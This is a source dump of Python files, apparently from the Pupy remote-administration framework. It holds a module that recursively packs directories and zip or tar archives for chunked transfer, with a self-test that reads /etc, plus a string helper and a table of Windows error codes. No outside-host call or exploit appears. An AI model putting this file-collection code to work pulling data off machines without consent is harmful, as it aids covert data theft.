                stats.append((f.name, f.stat()))

            dirview[F_DATA][D_ROOT] = root

            for x in dirs:
                dirview[F_DATA][D_DIRS].append((x.name, self._stat_to_vec(x.stat())))

            for x,link in syms:
                dirview[F_DATA][D_SYMS].append((x.name, link))

            for x,link in hards:
                dirview[F_DATA][D_HARDS].append((x.name, self._stat_to_vec(x.stat()), link))

            for x in dirs:
                dirview[F_DATA][D_SPECIALS].append((x.name, self._stat_to_vec(x.stat())))

            for x,y in stats:
                if not self.ignore_size or y.st_size == 0:
                    dirview[F_DATA][D_EMPTY].append((x, self._stat_to_vec(y)))
                else:
                    dirview[F_DATA][D_FILES].append((x, self._stat_to_vec(y)))

            del files[:], syms[:], hards[:], specials[:]

            yield dirview

            for k in (D_DIRS, D_SYMS, D_HARDS, D_SPECIALS, D_EMPTY, D_FILES):
                del dirview[F_DATA][k][:]

            for fp, fpstat in stats:
                if not self.ignore_size and not fpstat.st_size:
                    continue

                for portion in self._pack_file(fp, top=root):
                    yield portion
                    del portion

            del stats[:]

    def _is_supported_archive(self, filepath):
        if not filepath.startswith(('zip:', 'tar:')):
            return False

        parts = filepath.split(':', 2)
        if not len(parts) == 3:
            return False

        ext, archive_path, sub_path = parts

        if path.isfile(archive_path) and not path.isfile(filepath):
            if is_zipfile(archive_path):
                return 'zip', archive_path, sub_path
            elif is_tarfile(archive_path):
                return 'tar', archive_path, sub_path

        return False

    def _pack_any(self, filepath):
        try:
            supported_archive = self._is_supported_archive(filepath)
            if supported_archive:
                archive, archive_filepath, archive_subpath = supported_archive
                if archive == 'zip':
                    with ZipFile(archive_filepath) as zf:
                        for item in zf.infolist():
                            if item.filename == archive_subpath or \
                              item.filename.startswith(archive_subpath+'/'):

                                try:
                                    archive_filename = item.filename.decode(sys.getfilesystemencoding())
                                except UnicodeDecodeError:
                                    archive_filename = item.filename

                                yield {
                                    F_TYPE: T_FILE,
                                    F_PATH: '/'.join([
                                        archive_filepath,
                                        archive_filename
                                    ])
                                }

                                for portion in self._pack_fileobj(zf.open(item)):
                                    yield portion

                elif archive == 'tar':
                    with open_tarfile(archive_filepath) as tf:
                        for item in tf:
                            # For now support only simple files extraction, same as zip
                            if not item.isfile():
                                continue

                            if item.name == archive_subpath or \
                              item.name.startswith(archive_subpath+'/'):

                                try:
                                    archive_filename = item.name.decode(sys.getfilesystemencoding())
                                except UnicodeDecodeError:
                                    archive_filename = item.name

                                yield {
                                    F_TYPE: T_FILE,
                                    F_PATH: u'/'.join([
                                        archive_filepath,
                                        archive_filename
                                    ])
                                }

                                for portion in self._pack_fileobj(tf.extractfile(item)):
                                    yield portion

            elif path.isfile(filepath):
                root = path.dirname(filepath)
                basename = path.basename(filepath)
                portions = self._pack_file(basename, top=root)
                header = next(portions)

                if self.follow_symlinks:
                    filestat = stat(filepath)
                else:
                    filestat = lstat(filepath)

                header.update({
                    F_TYPE: T_FILE,
                    F_STAT: self._stat_to_vec(filestat),
                    F_ROOT: root,
                })

                yield header

                for portion in portions:
                    yield portion
                    del portion

            elif path.isdir(filepath):
                if self.find_size:
                    for portion in self._size(filepath):
                        yield portion
                        del portion

                for portion in self._pack_path(filepath):
                    yield portion
                    del portion
            else:
                yield {
                    F_TYPE: T_EXC,
                    F_EXC: 'No download target',
                    F_DATA: filepath
                }

                return

            yield {
                F_TYPE: T_FINISH,
                F_DATA: filepath
            }

        except Exception as e:
            yield {
                F_TYPE: T_EXC,
                F_EXC: str(type(e)),
                F_DATA: str(e) + traceback.format_exc(limit=20)
            }

    def _submit_command(self, command, args, callback):
        self.queue.put((command, args, callback))

    def _expand(self, filepath):
        filepath = path.expandvars(filepath)
        filepath = path.expanduser(filepath)
        return (filepath, )

    def size(self, filepath, callback, nonblock=False):
        filepath = as_unicode_string(filepath)
        if nonblock:
            callback = nowait(callback)
        self._submit_command(
            self._size, self._expand(filepath), callback)

    def transfer(self, filepath, callback, nonblock=False):
        filepath = as_unicode_string(filepath)
        if nonblock:
            callback = nowait(callback)
        self._submit_command(
            self._pack_any, self._expand(filepath), callback)

    def stop(self, callback):
        self.queue.put_nowait((None, None, callback))

    def terminate(self):
        if not self.initialized:
            return

        if not self._terminate.is_set():
            self._terminate.set()
            self.queue.put(None)

        try:
            self.worker.join()
        except:
            pass

    def join(self):
        self.worker.join()

def du(filepath, callback, exclude=None, include=None, follow_symlinks=False,
       single_device=False, chunk_size=1*1024*1024):
    t = Transfer(exclude, include, follow_symlinks, False, False, single_device, chunk_size)
    t.size(filepath, callback)
    t.stop(callback)
    return t.terminate

def transfer(filepath, callback, exclude=None, include=None, follow_symlinks=False,
             ignore_size=False, single_device=False, chunk_size=1*1024*1024):
    t = Transfer(exclude, include, follow_symlinks, False, ignore_size, single_device, chunk_size)
    t.transfer(filepath, callback)
    t.stop(callback)
    return t.terminate

def transfer_closure(callback, exclude=None, include=None, follow_symlinks=False,
             ignore_size=False, single_device=False, chunk_size=1*1024*1024):

    t = Transfer(exclude, include, follow_symlinks, False, ignore_size, single_device, chunk_size)

    def _closure(filespec):
        filepath = filespec
        if type(filespec) is tuple:
            filepath = filespec[0]

        t.transfer(filepath, callback)

    def _stop():
        t.stop(callback)

    return _closure, _stop, t.terminate


if __name__ == '__main__':
    import StringIO

    def blob_printer(data, exception):
        if exception:
            import traceback
            print("EXCEPTION!")
            traceback.print_exc(exception)
        elif data:
            data = StringIO(data)
            print('=========================================================')

            while True:
                try:
                    msg = umsgpack.load(data)
                except umsgpack.InsufficientDataException:
                    break

                if msg['type'].endswith('content'):
                    print("chunk size", len(msg['data']))
                elif msg['type'] == 'dirview':
                    line = msg['data']['root'] + ':'
                    for k,v in msg['data'].items():
                        if k == 'root':
                            continue
                        line += ' {}:{}'.format(k, len(v))
                    print(line)

                else:
                    print("DATA:", msg)

            print('=========================================================')

    t = Transfer()
    print("START")
    t.size('/etc', callback=blob_printer, nonblock=False)
    t.transfer('/etc', callback=blob_printer, nonblock=False)
    print("WAIT")
    t.stop(None)
    t.join()
    print("END")


================================================
FILE: pupy/packages/all/whole.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

if sys.version_info.major > 2:
    basestring = str
    unicode = str


def to_string(x):
    if isinstance(x, (list, tuple, set, frozenset)):
        return [to_string(y) for y in x]
    elif isinstance(x, basestring):
        return x
    elif x is None:
        return ''
    elif isinstance(x, dict):
        return {
            to_string(k):to_string(v) for k,v in x.items()
        }
    else:
        return unicode(x)


def to_strings_list(function, *args, **kwargs):
    results = []
    raise_on_exception = kwargs.pop('raise_on_exception', True)

    iterator = function(*args, **kwargs)

    while True:
        try:
            result = next(iterator)
            results.append(to_string(result))

        except StopIteration:
            break

        except:
            if raise_on_exception:
                raise

    return results


================================================
FILE: pupy/packages/all/winerror.py
================================================
"""Error related constants for win32

Generated by h2py from winerror.h
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
# Few extras added manually...
TRUST_E_PROVIDER_UNKNOWN = -2146762751
TRUST_E_ACTION_UNKNOWN = -2146762750
TRUST_E_SUBJECT_FORM_UNKNOWN = -2146762749
TRUST_E_SUBJECT_NOT_TRUSTED = -2146762748
# up to here...

FACILITY_WINRM = 51
FACILITY_WINDOWSUPDATE = 36
FACILITY_WINDOWS_DEFENDER = 80
FACILITY_WINDOWS_CE = 24
FACILITY_WINDOWS = 8
FACILITY_URT = 19
FACILITY_UMI = 22
FACILITY_TPM_SOFTWARE = 41
FACILITY_TPM_SERVICES = 40
FACILITY_SXS = 23
FACILITY_STORAGE = 3
FACILITY_STATE_MANAGEMENT = 34
FACILITY_SSPI = 9
FACILITY_SCARD = 16
FACILITY_SHELL = 39
FACILITY_SETUPAPI = 15
FACILITY_SECURITY = 9
FACILITY_RPC = 1
FACILITY_PLA = 48
FACILITY_WIN32 = 7
FACILITY_CONTROL = 10
FACILITY_NULL = 0
FACILITY_NDIS = 52
FACILITY_METADIRECTORY = 35
FACILITY_MSMQ = 14
FACILITY_MEDIASERVER = 13
FACILITY_INTERNET = 12
FACILITY_ITF = 4
FACILITY_USERMODE_HYPERVISOR = 53
FACILITY_HTTP = 25
FACILITY_GRAPHICS = 38
FACILITY_FWP = 50
FACILITY_FVE = 49
FACILITY_USERMODE_FILTER_MANAGER = 31
FACILITY_DPLAY = 21
FACILITY_DISPATCH = 2
FACILITY_DIRECTORYSERVICE = 37
FACILITY_CONFIGURATION = 33
FACILITY_COMPLUS = 17
FACILITY_USERMODE_COMMONLOG = 26
FACILITY_CMI = 54
FACILITY_CERT = 11
FACILITY_BACKGROUNDCOPY = 32
FACILITY_ACS = 20
FACILITY_AAF = 18
ERROR_SUCCESS = 0
NO_ERROR = 0
S_OK = 0
S_FALSE = 1
ERROR_INVALID_FUNCTION = 1
ERROR_FILE_NOT_FOUND = 2
ERROR_PATH_NOT_FOUND = 3
ERROR_TOO_MANY_OPEN_FILES = 4
ERROR_ACCESS_DENIED = 5
ERROR_INVALID_HANDLE = 6
ERROR_ARENA_TRASHED = 7
ERROR_NOT_ENOUGH_MEMORY = 8
ERROR_INVALID_BLOCK = 9
ERROR_BAD_ENVIRONMENT = 10
ERROR_BAD_FORMAT = 11
ERROR_INVALID_ACCESS = 12
ERROR_INVALID_DATA = 13
ERROR_OUTOFMEMORY = 14
ERROR_INVALID_DRIVE = 15
ERROR_CURRENT_DIRECTORY = 16
ERROR_NOT_SAME_DEVICE = 17
ERROR_NO_MORE_FILES = 18
ERROR_WRITE_PROTECT = 19
ERROR_BAD_UNIT = 20
ERROR_NOT_READY = 21
ERROR_BAD_COMMAND = 22
ERROR_CRC = 23
ERROR_BAD_LENGTH = 24
ERROR_SEEK = 25
ERROR_NOT_DOS_DISK = 26
ERROR_SECTOR_NOT_FOUND = 27
ERROR_OUT_OF_PAPER = 28
ERROR_WRITE_FAULT = 29
ERROR_READ_FAULT = 30
ERROR_GEN_FAILURE = 31
ERROR_SHARING_VIOLATION = 32
ERROR_LOCK_VIOLATION = 33
ERROR_WRONG_DISK = 34
ERROR_SHARING_BUFFER_EXCEEDED = 36
ERROR_HANDLE_EOF = 38
ERROR_HANDLE_DISK_FULL = 39
ERROR_NOT_SUPPORTED = 50
ERROR_REM_NOT_LIST = 51
ERROR_DUP_NAME = 52
ERROR_BAD_NETPATH = 53
ERROR_NETWORK_BUSY = 54
ERROR_DEV_NOT_EXIST = 55
ERROR_TOO_MANY_CMDS = 56
ERROR_ADAP_HDW_ERR = 57
ERROR_BAD_NET_RESP = 58
ERROR_UNEXP_NET_ERR = 59
ERROR_BAD_REM_ADAP = 60
ERROR_PRINTQ_FULL = 61
ERROR_NO_SPOOL_SPACE = 62
ERROR_PRINT_CANCELLED = 63
ERROR_NETNAME_DELETED = 64
ERROR_NETWORK_ACCESS_DENIED = 65
ERROR_BAD_DEV_TYPE = 66
ERROR_BAD_NET_NAME = 67
ERROR_TOO_MANY_NAMES = 68
ERROR_TOO_MANY_SESS = 69
ERROR_SHARING_PAUSED = 70
ERROR_REQ_NOT_ACCEP = 71
ERROR_REDIR_PAUSED = 72
ERROR_FILE_EXISTS = 80
ERROR_CANNOT_MAKE = 82
ERROR_FAIL_I24 = 83
ERROR_OUT_OF_STRUCTURES = 84
ERROR_ALREADY_ASSIGNED = 85
ERROR_INVALID_PASSWORD = 86
ERROR_INVALID_PARAMETER = 87
ERROR_NET_WRITE_FAULT = 88
ERROR_NO_PROC_SLOTS = 89
ERROR_TOO_MANY_SEMAPHORES = 100
ERROR_EXCL_SEM_ALREADY_OWNED = 101
ERROR_SEM_IS_SET = 102
ERROR_TOO_MANY_SEM_REQUESTS = 103
ERROR_INVALID_AT_INTERRUPT_TIME = 104
ERROR_SEM_OWNER_DIED = 105
ERROR_SEM_USER_LIMIT = 106
ERROR_DISK_CHANGE = 107
ERROR_DRIVE_LOCKED = 108
ERROR_BROKEN_PIPE = 109
ERROR_OPEN_FAILED = 110
ERROR_BUFFER_OVERFLOW = 111
ERROR_DISK_FULL = 112
ERROR_NO_MORE_SEARCH_HANDLES = 113
ERROR_INVALID_TARGET_HANDLE = 114
ERROR_INVALID_CATEGORY = 117
ERROR_INVALID_VERIFY_SWITCH = 118
ERROR_BAD_DRIVER_LEVEL = 119
ERROR_CALL_NOT_IMPLEMENTED = 120
ERROR_SEM_TIMEOUT = 121
ERROR_INSUFFICIENT_BUFFER = 122
ERROR_INVALID_NAME = 123
ERROR_INVALID_LEVEL = 124
ERROR_NO_VOLUME_LABEL = 125
ERROR_MOD_NOT_FOUND = 126
ERROR_PROC_NOT_FOUND = 127
ERROR_WAIT_NO_CHILDREN = 128
ERROR_CHILD_NOT_COMPLETE = 129
ERROR_DIRECT_ACCESS_HANDLE = 130
ERROR_NEGATIVE_SEEK = 131
ERROR_SEEK_ON_DEVICE = 132
ERROR_IS_JOIN_TARGET = 133
ERROR_IS_JOINED = 134
ERROR_IS_SUBSTED = 135
ERROR_NOT_JOINED = 136
ERROR_NOT_SUBSTED = 137
ERROR_JOIN_TO_JOIN = 138
ERROR_SUBST_TO_SUBST = 139
ERROR_JOIN_TO_SUBST = 140
ERROR_SUBST_TO_JOIN = 141
ERROR_BUSY_DRIVE = 142
ERROR_SAME_DRIVE = 143
ERROR_DIR_NOT_ROOT = 144
ERROR_DIR_NOT_EMPTY = 145
ERROR_IS_SUBST_PATH = 146
ERROR_IS_JOIN_PATH = 147
ERROR_PATH_BUSY = 148
ERROR_IS_SUBST_TARGET = 149
ERROR_SYSTEM_TRACE = 150
ERROR_INVALID_EVENT_COUNT = 151
ERROR_TOO_MANY_MUXWAITERS = 152
ERROR_INVALID_LIST_FORMAT = 153
ERROR_LABEL_TOO_LONG = 154
ERROR_TOO_MANY_TCBS = 155
ERROR_SIGNAL_REFUSED = 156
ERROR_DISCARDED = 157
ERROR_NOT_LOCKED = 158
ERROR_BAD_THREADID_ADDR = 159
ERROR_BAD_ARGUMENTS = 160
ERROR_BAD_PATHNAME = 161
ERROR_SIGNAL_PENDING = 162
ERROR_MAX_THRDS_REACHED = 164
ERROR_LOCK_FAILED = 167
ERROR_BUSY = 170
ERROR_CANCEL_VIOLATION = 173
ERROR_ATOMIC_LOCKS_NOT_SUPPORTED = 174
ERROR_INVALID_SEGMENT_NUMBER = 180
ERROR_INVALID_ORDINAL = 182
ERROR_ALREADY_EXISTS = 183
ERROR_INVALID_FLAG_NUMBER = 186
ERROR_SEM_NOT_FOUND = 187
ERROR_INVALID_STARTING_CODESEG = 188
ERROR_INVALID_STACKSEG = 189
ERROR_INVALID_MODULETYPE = 190
ERROR_INVALID_EXE_SIGNATURE = 191
ERROR_EXE_MARKED_INVALID = 192
ERROR_BAD_EXE_FORMAT = 193
ERROR_ITERATED_DATA_EXCEEDS_64k = 194
ERROR_INVALID_MINALLOCSIZE = 195
ERROR_DYNLINK_FROM_INVALID_RING = 196
ERROR_IOPL_NOT_ENABLED = 197
ERROR_INVALID_SEGDPL = 198
ERROR_AUTODATASEG_EXCEEDS_64k = 199
ERROR_RING2SEG_MUST_BE_MOVABLE = 200
ERROR_RELOC_CHAIN_XEEDS_SEGLIM = 201
ERROR_INFLOOP_IN_RELOC_CHAIN = 202
ERROR_ENVVAR_NOT_FOUND = 203
ERROR_NO_SIGNAL_SENT = 205
ERROR_FILENAME_EXCED_RANGE = 206
ERROR_RING2_STACK_IN_USE = 207
ERROR_META_EXPANSION_TOO_LONG = 208
ERROR_INVALID_SIGNAL_NUMBER = 209
ERROR_THREAD_1_INACTIVE = 210
ERROR_LOCKED = 212
ERROR_TOO_MANY_MODULES = 214
ERROR_NESTING_NOT_ALLOWED = 215
ERROR_EXE_MACHINE_TYPE_MISMATCH = 216
ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY = 217
ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY = 218
ERROR_FILE_CHECKED_OUT = 220
ERROR_CHECKOUT_REQUIRED = 221
ERROR_BAD_FILE_TYPE = 222
ERROR_FILE_TOO_LARGE = 223
ERROR_FORMS_AUTH_REQUIRED = 224
ERROR_VIRUS_INFECTED = 225
ERROR_VIRUS_DELETED = 226
ERROR_PIPE_LOCAL = 229
ERROR_BAD_PIPE = 230
ERROR_PIPE_BUSY = 231
ERROR_NO_DATA = 232
ERROR_PIPE_NOT_CONNECTED = 233
ERROR_MORE_DATA = 234
ERROR_VC_DISCONNECTED = 240
ERROR_INVALID_EA_NAME = 254
ERROR_EA_LIST_INCONSISTENT = 255
WAIT_TIMEOUT = 258
ERROR_NO_MORE_ITEMS = 259
ERROR_CANNOT_COPY = 266
ERROR_DIRECTORY = 267
ERROR_EAS_DIDNT_FIT = 275
ERROR_EA_FILE_CORRUPT = 276
ERROR_EA_TABLE_FULL = 277
ERROR_INVALID_EA_HANDLE = 278
ERROR_EAS_NOT_SUPPORTED = 282
ERROR_NOT_OWNER = 288
ERROR_TOO_MANY_POSTS = 298
ERROR_PARTIAL_COPY = 299
ERROR_OPLOCK_NOT_GRANTED = 300
ERROR_INVALID_OPLOCK_PROTOCOL = 301
ERROR_DISK_TOO_FRAGMENTED = 302
ERROR_DELETE_PENDING = 303
ERROR_MR_MID_NOT_FOUND = 317
ERROR_SCOPE_NOT_FOUND = 318
ERROR_FAIL_NOACTION_REBOOT = 350
ERROR_FAIL_SHUTDOWN = 351
ERROR_FAIL_RESTART = 352
ERROR_MAX_SESSIONS_REACHED = 353
ERROR_THREAD_MODE_ALREADY_BACKGROUND = 400
ERROR_THREAD_MODE_NOT_BACKGROUND = 401
ERROR_PROCESS_MODE_ALREADY_BACKGROUND = 402
ERROR_PROCESS_MODE_NOT_BACKGROUND = 403
ERROR_INVALID_ADDRESS = 487
ERROR_USER_PROFILE_LOAD = 500
ERROR_ARITHMETIC_OVERFLOW = 534
ERROR_PIPE_CONNECTED = 535
ERROR_PIPE_LISTENING = 536
ERROR_VERIFIER_STOP = 537
ERROR_ABIOS_ERROR = 538
ERROR_WX86_WARNING = 539
ERROR_WX86_ERROR = 540
ERROR_TIMER_NOT_CANCELED = 541
ERROR_UNWIND = 542
ERROR_BAD_STACK = 543
ERROR_INVALID_UNWIND_TARGET = 544
ERROR_INVALID_PORT_ATTRIBUTES = 545
ERROR_PORT_MESSAGE_TOO_LONG = 546
ERROR_INVALID_QUOTA_LOWER = 547
ERROR_DEVICE_ALREADY_ATTACHED = 548
ERROR_INSTRUCTION_MISALIGNMENT = 549
ERROR_PROFILING_NOT_STARTED = 550
ERROR_PROFILING_NOT_STOPPED = 551
ERROR_COULD_NOT_INTERPRET = 552
ERROR_PROFILING_AT_LIMIT = 553
ERROR_CANT_WAIT = 554
ERROR_CANT_TERMINATE_SELF = 555
ERROR_UNEXPECTED_MM_CREATE_ERR = 556
ERROR_UNEXPECTED_MM_MAP_ERROR = 557
ERROR_UNEXPECTED_MM_EXTEND_ERR = 558
ERROR_BAD_FUNCTION_TABLE = 559
ERROR_NO_GUID_TRANSLATION = 560
ERROR_INVALID_LDT_SIZE = 561
ERROR_INVALID_LDT_OFFSET = 563
ERROR_INVALID_LDT_DESCRIPTOR = 564
ERROR_TOO_MANY_THREADS = 565
ERROR_THREAD_NOT_IN_PROCESS = 566
ERROR_PAGEFILE_QUOTA_EXCEEDED = 567
ERROR_LOGON_SERVER_CONFLICT = 568
ERROR_SYNCHRONIZATION_REQUIRED = 569
ERROR_NET_OPEN_FAILED = 570
ERROR_IO_PRIVILEGE_FAILED = 571
ERROR_CONTROL_C_EXIT = 572
ERROR_MISSING_SYSTEMFILE = 573
ERROR_UNHANDLED_EXCEPTION = 574
ERROR_APP_INIT_FAILURE = 575
ERROR_PAGEFILE_CREATE_FAILED = 576
ERROR_INVALID_IMAGE_HASH = 577
ERROR_NO_PAGEFILE = 578
ERROR_ILLEGAL_FLOAT_CONTEXT = 579
ERROR_NO_EVENT_PAIR = 580
ERROR_DOMAIN_CTRLR_CONFIG_ERROR = 581
ERROR_ILLEGAL_CHARACTER = 582
ERROR_UNDEFINED_CHARACTER = 583
ERROR_FLOPPY_VOLUME = 584
ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT = 585
ERROR_BACKUP_CONTROLLER = 586
ERROR_MUTANT_LIMIT_EXCEEDED = 587
ERROR_FS_DRIVER_REQUIRED = 588
ERROR_CANNOT_LOAD_REGISTRY_FILE = 589
ERROR_DEBUG_ATTACH_FAILED = 590
ERROR_SYSTEM_PROCESS_TERMINATED = 591
ERROR_DATA_NOT_ACCEPTED = 592
ERROR_VDM_HARD_ERROR = 593
ERROR_DRIVER_CANCEL_TIMEOUT = 594
ERROR_REPLY_MESSAGE_MISMATCH = 595
ERROR_LOST_WRITEBEHIND_DATA = 596
ERROR_CLIENT_SERVER_PARAMETERS_INVALID = 597
ERROR_NOT_TINY_STREAM = 598
ERROR_STACK_OVERFLOW_READ = 599
ERROR_CONVERT_TO_LARGE = 600
ERROR_FOUND_OUT_OF_SCOPE = 601
ERROR_ALLOCATE_BUCKET = 602
ERROR_MARSHALL_OVERFLOW = 603
ERROR_INVALID_VARIANT = 604
ERROR_BAD_COMPRESSION_BUFFER = 605
ERROR_AUDIT_FAILED = 606
ERROR_TIMER_RESOLUTION_NOT_SET = 607
ERROR_INSUFFICIENT_LOGON_INFO = 608
ERROR_BAD_DLL_ENTRYPOINT = 609
ERROR_BAD_SERVICE_ENTRYPOINT = 610
ERROR_IP_ADDRESS_CONFLICT1 = 611
ERROR_IP_ADDRESS_CONFLICT2 = 612
ERROR_REGISTRY_QUOTA_LIMIT = 613
ERROR_NO_CALLBACK_ACTIVE = 614
ERROR_PWD_TOO_SHORT = 615
ERROR_PWD_TOO_RECENT = 616
ERROR_PWD_HISTORY_CONFLICT = 617
ERROR_UNSUPPORTED_COMPRESSION = 618
ERROR_INVALID_HW_PROFILE = 619
ERROR_INVALID_PLUGPLAY_DEVICE_PATH = 620
ERROR_QUOTA_LIST_INCONSISTENT = 621
ERROR_EVALUATION_EXPIRATION = 622
ERROR_ILLEGAL_DLL_RELOCATION = 623
ERROR_DLL_INIT_FAILED_LOGOFF = 624
ERROR_VALIDATE_CONTINUE = 625
ERROR_NO_MORE_MATCHES = 626
ERROR_RANGE_LIST_CONFLICT = 627
ERROR_SERVER_SID_MISMATCH = 628
ERROR_CANT_ENABLE_DENY_ONLY = 629
ERROR_FLOAT_MULTIPLE_FAULTS = 630
ERROR_FLOAT_MULTIPLE_TRAPS = 631
ERROR_NOINTERFACE = 632
ERROR_DRIVER_FAILED_SLEEP = 633
ERROR_CORRUPT_SYSTEM_FILE = 634
ERROR_COMMITMENT_MINIMUM = 635
ERROR_PNP_RESTART_ENUMERATION = 636
ERROR_SYSTEM_IMAGE_BAD_SIGNATURE = 637
ERROR_PNP_REBOOT_REQUIRED = 638
ERROR_INSUFFICIENT_POWER = 639
ERROR_MULTIPLE_FAULT_VIOLATION = 640
ERROR_SYSTEM_SHUTDOWN = 641
ERROR_PORT_NOT_SET = 642
ERROR_DS_VERSION_CHECK_FAILURE = 643
ERROR_RANGE_NOT_FOUND = 644
ERROR_NOT_SAFE_MODE_DRIVER = 646
ERROR_FAILED_DRIVER_ENTRY = 647
ERROR_DEVICE_ENUMERATION_ERROR = 648
ERROR_MOUNT_POINT_NOT_RESOLVED = 649
ERROR_INVALID_DEVICE_OBJECT_PARAMETER = 650
ERROR_MCA_OCCURED = 651
ERROR_DRIVER_DATABASE_ERROR = 652
ERROR_SYSTEM_HIVE_TOO_LARGE = 653
ERROR_DRIVER_FAILED_PRIOR_UNLOAD = 654
ERROR_VOLSNAP_PREPARE_HIBERNATE = 655
ERROR_HIBERNATION_FAILURE = 656
ERROR_FILE_SYSTEM_LIMITATION = 665
ERROR_ASSERTION_FAILURE = 668
ERROR_ACPI_ERROR = 669
ERROR_WOW_ASSERTION = 670
ERROR_PNP_BAD_MPS_TABLE = 671
ERROR_PNP_TRANSLATION_FAILED = 672
ERROR_PNP_IRQ_TRANSLATION_FAILED = 673
ERROR_PNP_INVALID_ID = 674
ERROR_WAKE_SYSTEM_DEBUGGER = 675
ERROR_HANDLES_CLOSED = 676
ERROR_EXTRANEOUS_INFORMATION = 677
ERROR_RXACT_COMMIT_NECESSARY = 678
ERROR_MEDIA_CHECK = 679
ERROR_GUID_SUBSTITUTION_MADE = 680
ERROR_STOPPED_ON_SYMLINK = 681
ERROR_LONGJUMP = 682
ERROR_PLUGPLAY_QUERY_VETOED = 683
ERROR_UNWIND_CONSOLIDATE = 684
ERROR_REGISTRY_HIVE_RECOVERED = 685
ERROR_DLL_MIGHT_BE_INSECURE = 686
ERROR_DLL_MIGHT_BE_INCOMPATIBLE = 687
ERROR_DBG_EXCEPTION_NOT_HANDLED = 688
ERROR_DBG_REPLY_LATER = 689
ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690
ERROR_DBG_TERMINATE_THREAD = 691
ERROR_DBG_TERMINATE_PROCESS = 692
ERROR_DBG_CONTROL_C = 693
ERROR_DBG_PRINTEXCEPTION_C = 694
ERROR_DBG_RIPEXCEPTION = 695
ERROR_DBG_CONTROL_BREAK = 696
ERROR_DBG_COMMAND_EXCEPTION = 697
ERROR_OBJECT_NAME_EXISTS = 698
ERROR_THREAD_WAS_SUSPENDED = 699
ERROR_IMAGE_NOT_AT_BASE = 700
ERROR_RXACT_STATE_CREATED = 701
ERROR_SEGMENT_NOTIFICATION = 702
ERROR_BAD_CURRENT_DIRECTORY = 703
ERROR_FT_READ_RECOVERY_FROM_BACKUP = 704
ERROR_FT_WRITE_RECOVERY = 705
ERROR_IMAGE_MACHINE_TYPE_MISMATCH = 706
ERROR_RECEIVE_PARTIAL = 707
ERROR_RECEIVE_EXPEDITED = 708
ERROR_RECEIVE_PARTIAL_EXPEDITED = 709
ERROR_EVENT_DONE = 710
ERROR_EVENT_PENDING = 711
ERROR_CHECKING_FILE_SYSTEM = 712
ERROR_FATAL_APP_EXIT = 713
ERROR_PREDEFINED_HANDLE = 714
ERROR_WAS_UNLOCKED = 715
ERROR_SERVICE_NOTIFICATION = 716
ERROR_WAS_LOCKED = 717
ERROR_LOG_HARD_ERROR = 718
ERROR_ALREADY_WIN32 = 719
ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE = 720
ERROR_NO_YIELD_PERFORMED = 721
ERROR_TIMER_RESUME_IGNORED = 722
ERROR_ARBITRATION_UNHANDLED = 723
ERROR_CARDBUS_NOT_SUPPORTED = 724
ERROR_MP_PROCESSOR_MISMATCH = 725
ERROR_HIBERNATED = 726
ERROR_RESUME_HIBERNATION = 727
ERROR_FIRMWARE_UPDATED = 728
ERROR_DRIVERS_LEAKING_LOCKED_PAGES = 729
ERROR_WAKE_SYSTEM = 730
ERROR_WAIT_1 = 731
ERROR_WAIT_2 = 732
ERROR_WAIT_3 = 733
ERROR_WAIT_63 = 734
ERROR_ABANDONED_WAIT_0 = 735
ERROR_ABANDONED_WAIT_63 = 736
ERROR_USER_APC = 737
ERROR_KERNEL_APC = 738
ERROR_ALERTED = 739
ERROR_ELEVATION_REQUIRED = 740
ERROR_REPARSE = 741
ERROR_OPLOCK_BREAK_IN_PROGRESS = 742
ERROR_VOLUME_MOUNTED = 743
ERROR_RXACT_COMMITTED = 744
ERROR_NOTIFY_CLEANUP = 745
ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED = 746
ERROR_PAGE_FAULT_TRANSITION = 747
ERROR_PAGE_FAULT_DEMAND_ZERO = 748
ERROR_PAGE_FAULT_COPY_ON_WRITE = 749
ERROR_PAGE_FAULT_GUARD_PAGE = 750
ERROR_PAGE_FAULT_PAGING_FILE = 751
ERROR_CACHE_PAGE_LOCKED = 752
ERROR_CRASH_DUMP = 753
ERROR_BUFFER_ALL_ZEROS = 754
ERROR_REPARSE_OBJECT = 755
ERROR_RESOURCE_REQUIREMENTS_CHANGED = 756
ERROR_TRANSLATION_COMPLETE = 757
ERROR_NOTHING_TO_TERMINATE = 758
ERROR_PROCESS_NOT_IN_JOB = 759
ERROR_PROCESS_IN_JOB = 760
ERROR_VOLSNAP_HIBERNATE_READY = 761
ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY = 762
ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED = 763
ERROR_INTERRUPT_STILL_CONNECTED = 764
ERROR_WAIT_FOR_OPLOCK = 765
ERROR_DBG_EXCEPTION_HANDLED = 766
ERROR_DBG_CONTINUE = 767
ERROR_CALLBACK_POP_STACK = 768
ERROR_COMPRESSION_DISABLED = 769
ERROR_CANTFETCHBACKWARDS = 770
ERROR_CANTSCROLLBACKWARDS = 771
ERROR_ROWSNOTRELEASED = 772
ERROR_BAD_ACCESSOR_FLAGS = 773
ERROR_ERRORS_ENCOUNTERED = 774
ERROR_NOT_CAPABLE = 775
ERROR_REQUEST_OUT_OF_SEQUENCE = 776
ERROR_VERSION_PARSE_ERROR = 777
ERROR_BADSTARTPOSITION = 778
ERROR_MEMORY_HARDWARE = 779
ERROR_DISK_REPAIR_DISABLED = 780
ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE = 781
ERROR_SYSTEM_POWERSTATE_TRANSITION = 782
ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION = 783
ERROR_MCA_EXCEPTION = 784
ERROR_ACCESS_AUDIT_BY_POLICY = 785
ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY = 786
ERROR_ABANDON_HIBERFILE = 787
ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED = 788
ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR = 789
ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR = 790
ERROR_BAD_MCFG_TABLE = 791
